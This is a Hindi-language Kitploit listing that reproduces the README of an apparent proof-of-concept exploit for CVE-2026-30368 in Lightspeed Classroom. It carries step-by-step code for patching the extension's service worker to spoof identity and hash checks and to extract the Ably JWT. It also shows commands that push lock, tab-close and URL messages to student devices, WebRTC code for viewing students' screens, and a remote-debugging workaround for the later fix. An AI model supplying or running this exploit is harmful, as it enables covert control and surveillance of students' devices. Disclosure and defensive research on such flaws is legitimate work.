Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ls-poc — CVE-2026-30368 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Lightspeed Classroom में प्रमाणीकरण बायपास प्रदर्शित करता है ताकि Ably चैनल के माध्यम से छात्र डिवाइसों को नियंत्रित किया जा सके। | Kitploit
उपकरण/GitHubGitHub/truekas/ls-poc
टोहीशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोलरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubtruekas/ls-poc

ls-poc

CVE-2026-30368 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Lightspeed Classroom में प्रमाणीकरण बायपास प्रदर्शित करता है ताकि Ably चैनल के माध्यम से छात्र डिवाइसों को नियंत्रित किया जा सके।

रिपॉजिटरी देखें
1524 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-30368 प्रूफ ऑफ कॉन्सेप्ट

[!IMPORTANT]

यह पैच हो चुका है और अब क्रेडेंशियल्स की आवश्यकता है, स्वयं पर कार्य करने के लिए वर्कअराउंड का उपयोग करें।

परिचय

CVE-2026-30368 एक कमजोर प्रमाणीकरण दोष के माध्यम से एक हमलावर को Lightspeed Classroom प्रबंधन में छात्र डिवाइसों को नियंत्रित करने की अनुमति देता है। POC (poc.js) LS Classroom एक्सटेंशन से सर्विस वर्कर को ग्लोबल कॉन्टेक्स्ट में निष्पादित करता है। वर्कर कुछ फ़ंक्शनों के लिए classroom.wasm भी चलाता है। wasm-loader.js वर्कर को लोड करता है और classroom.wasm द्वारा उत्पन्न JWT टोकन निकालता है। एक बार निकालने के बाद, यह वर्कर को समाप्त कर देता है, फिर टोकन को Lightspeed APIs को भेजता है ताकि लक्ष्य के Ably चैनल से कनेक्ट करने के लिए उपयोग किया जाने वाला टोकन प्राप्त किया जा सके। वहाँ से, एक हमलावर छात्र डिवाइस पर एक कमांड भेज सकता है। कमांडों की सूची और बहुत सारी अधिक जानकारी पूर्ण राइटअप में यहाँ उपलब्ध है।

आपको अपनी स्वयं की WORKER.JS, CLASSROOM.WASM, और MANIFEST.JSON फ़ाइलें प्रदान करनी होंगी!

ये इस रिपो में नहीं हो सकतीं क्योंकि:

  • यदि मैं ऐसा करता हूँ तो यह रिप निश्चित रूप से Lightspeed द्वारा DMCA की जाएगी
  • फ़ाइलें प्रत्येक जिले/संस्करण के लिए अलग होती हैं

समस्याओं से बचने के लिए, मैं संस्करण 5.1.2.1763770643 का उपयोग करने की सलाह देता हूँ। यदि आपको नए संस्करणों को अनुकूलित करने में सहायता चाहिए, तो आप स्वयं हैं।
आप Lightspeed एक्सटेंशन स्रोत कोड से worker.js और classroom.wasm फ़ाइलें प्राप्त कर सकते हैं। यह आपके Chrome प्रोफ़ाइल निर्देशिका में स्थित एक्सटेंशन फ़ोल्डर से एक्सटेंशन स्रोत निकालकर व्यक्तिगत डिवाइस पर Chrome में अपने स्कूल खाते से लॉग इन करके प्राप्त किया जा सकता है। आप अपडेट URL के माध्यम से crx को मैन्युअल रूप से भी डाउनलोड कर सकते हैं।

अनुशंसित विधि

इस एक्सप्लॉइट का आसान तरीका पहले अपने एक्सटेंशन स्रोत कोड से classroom.wasm प्राप्त करना है, फिर इसे wasm-only.js के समान निर्देशिका में पेस्ट करें, और चलाएँ:

root@kitploit:~
$ node wasm-only.js

संकेत मिलने पर एक ईमेल और कस्टमर ID दर्ज करें। यह ably चैनल से कनेक्ट होगा। लाइन 815 पर जाएँ और जो संदेश भेजना चाहते हैं उसे अनकमेंट करें। क्रेडिट: ktibow on discord

wasm लोडर की सेट-अप

एक बार फ़ाइलें मिल जाने पर उन्हें क्लोन किए गए रिपो निर्देशिका में जोड़ें। आपको wasm-loader.js में getManifest() फ़ंक्शन में जाकर अपना एक्सटेंशन मेनिफेस्ट वहाँ पेस्ट करना होगा। आपको wasm-loader.js के शीर्ष पर एक्सटेंशन ID भी जोड़नी होगी।

worker.js की एक प्रति अपनी पसंद के फ़ाइलनाम के साथ बनाएँ। आपको बाद में इसकी आवश्यकता होगी। आवश्यक संशोधन करने के लिए आपको worker.js को webcrack के माध्यम से चलाना होगा ताकि इसे डीऑबफस्केट और डीमिनिफाई किया जा सके। ऐसा करते समय सुनिश्चित करें कि आप केवल "Deobfuscate" और "Unminify" विकल्प चुनें। परिणाम को अपने संपादक में वापस पेस्ट करने से पहले, सभी LSP सर्वरों को बंद करने की सलाह दी जाती है क्योंकि वे यादृच्छिक चर हटा देंगे और बाद के चरणों में वर्कर को तोड़ देंगे (आपको देख रहा हूँ vtsls...)

वर्कर को पैच करना

चूँकि सर्विस वर्कर node.js पर चलाया जाएगा (सुनिश्चित करें कि यह स्थापित है) इसे ठीक से चलाने के लिए कुछ पैचिंग की आवश्यकता होगी। JWT निष्कर्षण तर्क भी जोड़ने की आवश्यकता है। worker.js के सबसे ऊपर निम्नलिखित 2 फ़ंक्शन जोड़ें:

root@kitploit:~
function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

इनका उपयोग तब किया जाएगा जब हम wasm go रनटाइम को संशोधित करेंगे ताकि LS classroom wasm द्वारा उपयोग किए जाने वाले मानों को इंटरसेप्ट और संशोधित किया जा सके। YOUR_EXTENSION_ID को अपनी एक्सटेंशन ID से और worker_copy.js को पहले बनाई गई मूल worker.js की प्रति के फ़ाइलनाम से बदलना सुनिश्चित करें। इसके बाद मुख्य एरो फ़ंक्शन के अंदर ((() => { के बाद) ये 2 फ़ंक्शन जोड़ें:

root@kitploit:~
chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

इसके बाद आपको IsClassroomActive को true पर हार्डकोड करना होगा ताकि आप इसे कैंपस नेटवर्क के बाहर निष्पादित कर सकें। फ़ंक्शन को हमेशा true लौटाने के लिए बदलें:

root@kitploit:~
_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

फिर, संशोधित किए जाने वाले valueCall फ़ंक्शन को खोजने के लिए syscall/js.valueCall खोजें। यह wasm को JS मान की जानकारी देता है। इस फ़ंक्शन को संशोधित करके इंटरसेप्ट और बदले जाने वाले 2 मान worker.js का पथ हैं (इसे आपके वर्कर की प्रति में बदल दिया जाता है ताकि हैश जाँच पास हो सके) और chrome.identity.getProfileUserInfo.toString का मान native code कहने के लिए बदल दिया जाता है ताकि WASM विश्वास करे कि इसे भरोसा किया जा सकता है जबकि वास्तव में इसे फ़ाइल के शीर्ष पर संशोधित किया गया है। ऐसा करने के लिए, आपको शीर्ष पर परिभाषित valueCallBefore और valueCallAfter फ़ंक्शनों का उपयोग करना होगा। valueCall फ़ंक्शन को इस प्रकार संशोधित करें (चर नाम भिन्न होंगे, लेकिन संरचना समान है):

root@kitploit:~
"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

लगभग हो गया। अंत में, आपको JWT को कैप्चर करने के लिए कोड जोड़ना होगा। echoMessages: false खोजें और आपको Ably को भेजे गए हेडरों की सूची वाला चर मिलेगा। उसके ठीक नीचे, यह पंक्ति जोड़ें (चर नाम सटीक नहीं होंगे, आप authHeaders में ablyJwt तक पहुँचने वाली समान पंक्ति पा सकते हैं):

root@kitploit:~
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

यह JWT को ग्लोबल स्कोप में एक चर को सौंपता है ताकि wasm-loader.js (सर्विस वर्कर चलाने वाला "हार्नेस") इसे एक्सेस कर सके। वर्कर का संशोधन यहीं समाप्त होता है। सुनिश्चित करें कि आपके सभी LSP अभी भी बंद हैं। यदि वे वापस चालू हो गए, तो आपको बाद में अपरिभाषित चरों के साथ समस्याएँ हो सकती हैं।

अंतिम तैयारी

poc.js फ़ाइल पर जाएँ। शीर्ष पर, उस खाते का ईमेल और कस्टमर ID जोड़ें जिस पर आप परीक्षण करना चाहते हैं (अधिमानतः अपना स्वयं का)। अपने स्वयं के अलावा किसी अन्य कस्टमर ID का उपयोग करने पर त्रुटि होगी क्योंकि आपके पास उस कस्टमर ID के अनुरूप सही worker.js और classroom.wasm फ़ाइलें होनी चाहिए।

मैं वास्तविक छात्रों पर उनकी सहमति के बिना इसके उपयोग का समर्थन नहीं करता!!! 🙂

poc.js में Ably API कुंजी कानूनी कारणों से संपादित (redacted) है इसलिए आपको इसे स्वयं खोजना होगा। इसे worker.js में देखें, यह G52 से शुरू होती है। आपकी कस्टमर ID भी उसी स्थान पर पाई जा सकती है, CUSTOMER_ID: खोजें या इस प्रारूप में एक स्ट्रिंग देखें: XX-XXXX-XXXX। अंतिम 3 अंक आमतौर पर 000 होते हैं।

यूज़र एजेंट के संबंध में, आप इसे अपनी पसंद के अनुसार सेट कर सकते हैं लेकिन AWS स्वचालन टूल से जुड़े कुछ UA को ब्लॉक कर सकता है। एक बार यह सब कर लेने के बाद, नीचे जाएँ और आप publish का उपयोग करके उपयोगकर्ता के Ably चैनल पर भेजा जाने वाला संदेश जोड़ सकते हैं। संदेशों में lock, closeTab, url, और अधिक शामिल हो सकते हैं। Lightspeed द्वारा उपयोग किए जाने वाले Ably संदेशों की पूरी सूची यहाँ है।

निष्पादन

फ़ाइल को node.js, deno, या किसी अन्य रनटाइम के साथ निष्पादित करें। Bun काम नहीं करता।

root@kitploit:~
$ node poc.js

बेझिझक poc का विस्तार करें और इसे CLI या कुछ और बनाएँ।

RTC

यदि किसी को आश्चर्य है कि Lightspeed Classroom के WebRTC (स्क्रीन देखना) फ़ंक्शन को कैसे काम करना है, तो यह किया जा सकता है लेकिन यह नाजुक है। इसे काम करने के लिए आपको निम्नलिखित शर्तों को पूरा करना होगा:

  • वर्तमान समय पॉलिसी में निर्दिष्ट class_schedule में विंडो से मेल खाना चाहिए (पूर्ण राइटअप पर अधिक पढ़ें)
  • यदि आवश्यक हो तो क्लाइंट को कैंपस नेटवर्क पर होना चाहिए
  • आपको उसी नेटवर्क पर होना चाहिए (वैकल्पिक लेकिन अत्यधिक अनुशंसित)
  • सबसे अच्छा तब काम करता है जब एक शिक्षक एक साथ Lightspeed का उपयोग कर रहा हो (यह RTC के कार्य करने के लिए विंडो खोलता है)

मान लें कि आप पहले से ही क्लाइंट के Ably चैनल से जुड़े हैं, WebRTC कनेक्शन शुरू करने के लिए निम्नलिखित का उपयोग किया जा सकता है:

root@kitploit:~
channel.publish('request_rtc', {
  sessionId: sessId,
  role: 'viewer',
  want: ['video']
});

// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];

pc.onicecandidate = (event) => {
  if (event.candidate?.candidate) {
    channel.publish('answer_rtc_ice', {
      sessionId: sessId,
      ice: event.candidate
    });
  }
};

channel.subscribe(async (msg) => {
  if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
    await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
    for (const ice of pendingIce) await pc.addIceCandidate(ice);
    pendingIce.length = 0;

    const answer = await pc.createAnswer();
    await pc.setLocalDescription(answer);
    channel.publish('answer_rtc', { sessionId: sessId, answer });
  }

  if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
    const ice = msg.data.ice;
    if (!ice?.candidate) return;
    if (pc.remoteDescription) await pc.addIceCandidate(ice);
    else pendingIce.push(ice);
  }
});

वीडियो कैसे देखना है यह समझना आप पर निर्भर है (हल्के HTML ज्ञान और थोड़ी गूगलिंग/AI वाला कोई भी व्यक्ति इसे करने में सक्षम होना चाहिए) लेकिन उपरोक्त कोड कनेक्शन स्थापित करता है। दुर्भाग्य से स्ट्रीम 1 FPS होगी लेकिन यह LS classroom की ही सीमा है।

फिर से मैं गारंटी नहीं दे सकता कि यह हमेशा काम करेगा क्योंकि यह बहुत नाजुक है, लेकिन यदि आप इसे लगातार काम करते हुए पाते हैं तो मुझे बताएँ!

वेब व्यूअर

pnpm i चलाएँ, classroom.wasm को रिपो की रूट पर रखें, फिर वेब व्यूअर शुरू करने के लिए pnpm dev चलाएँ।

वर्कअराउंड

[!IMPORTANT]

इस अनुभाग के लिए क्रेडेंशियल्स और एक व्यक्तिगत डिवाइस की आवश्यकता है

23 अप्रैल को, Lightspeed ने इस CVE का फिक्स रोल आउट करना शुरू किया। इसने एक नया एक्सटेंशन, Lightspeed Identity Agent (आंतरिक कोडनेम: LS One) जोड़ा, जो Classroom को आपकी पहचान सत्यापित करने के लिए Google OAuth टोकन प्रदान करता है। वर्कअराउंड आपको स्वयं पर, या किसी अन्य व्यक्ति पर जिसके लिए आपके पास क्रेडेंशियल्स हैं, कार्य करने की अनुमति देता है। यह केवल Linux पर परीक्षण किया गया है।

पहले, स्थिर Google Chrome स्थापित करें और स्कूल खाते से साइन इन करें। सुनिश्चित करें कि Lightspeed Identity Agent एक्सटेंशन स्थापित है। Chrome बंद करें। इसके बाद, Chrome उपयोगकर्ता डेटा निर्देशिका को एक अस्थायी स्थान पर कॉपी करें। उदाहरण के लिए, Linux पर: cp -r ~/.config/google-chrome /tmp/chromedata। अपनी classroom.wasm फ़ाइल को रिपो निर्देशिका में रखें। oauth-poc.js के शीर्ष पर मान भरें। एक टर्मिनल खोलें (आप इसे बाद में उपयोग करेंगे लेकिन अभी खोलें)। Chrome को निम्नलिखित कमांड लाइन फ्लैग के साथ पुनः आरंभ करें:

root@kitploit:~
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata

यह रिमोट डिबगिंग सक्षम करेगा। सर्विस वर्कर को आरंभ करने के लिए 15 सेकंड प्रतीक्षा करें। oauth-poc.js निष्पादित करें:

root@kitploit:~
$ node oauth-poc.js

यदि आपको LS One एक्सटेंशन नहीं मिल सका कहने वाला संदेश मिला, तो आपने या तो Chrome लॉन्च करने के बाद 15 सेकंड प्रतीक्षा नहीं की, बहुत लंबा इंतजार किया और सर्विस वर्कर सो गया, या oauth-poc.js के शीर्ष पर एक्सटेंशन ID नहीं भरी।

यदि आपको Ably से कनेक्ट करते समय 403 त्रुटि मिलती है, तो जाँचें कि आपके पास सही classroom.wasm, सही ईमेल है, और स्कूल IP पर जाने का प्रयास करें।

यदि आपको कोई त्रुटि नहीं मिली, बधाई! बस स्क्रिप्ट को चलता हुआ छोड़ दें और आप शिक्षकों द्वारा लॉक किए जाने, टैब बंद होने, और स्क्रीन देखने (प्रयोगात्मक) से प्रतिरक्षित रहेंगे।

अंतिम नोट

कृपया इस POC का उपयोग विनाशकारी उद्देश्यों के लिए न करें। आपके द्वारा किए जा सकने वाले किसी भी दुर्भावनापूर्ण कार्य के लिए मैं जिम्मेदार नहीं हूँ। जैसा कि आप जानते हैं Lightspeed इस पर 3 महीने से सो रहा है और मैं वास्तव में एक और सप्ताह (या अधिक?...) के लिए फिक्स की उम्मीद नहीं करता। उम्मीद है कि यह उन्हें स्थिति की वास्तविक गंभीरता समझाएगा और इसे तेजी से ठीक करेगा। अंत में, यदि आप स्कूल IT व्यक्ति हैं, तो इसे अपने वरिष्ठों को भेजें 🙂

♥️, truekas 4.22.2026

टूल डाउनलोड करें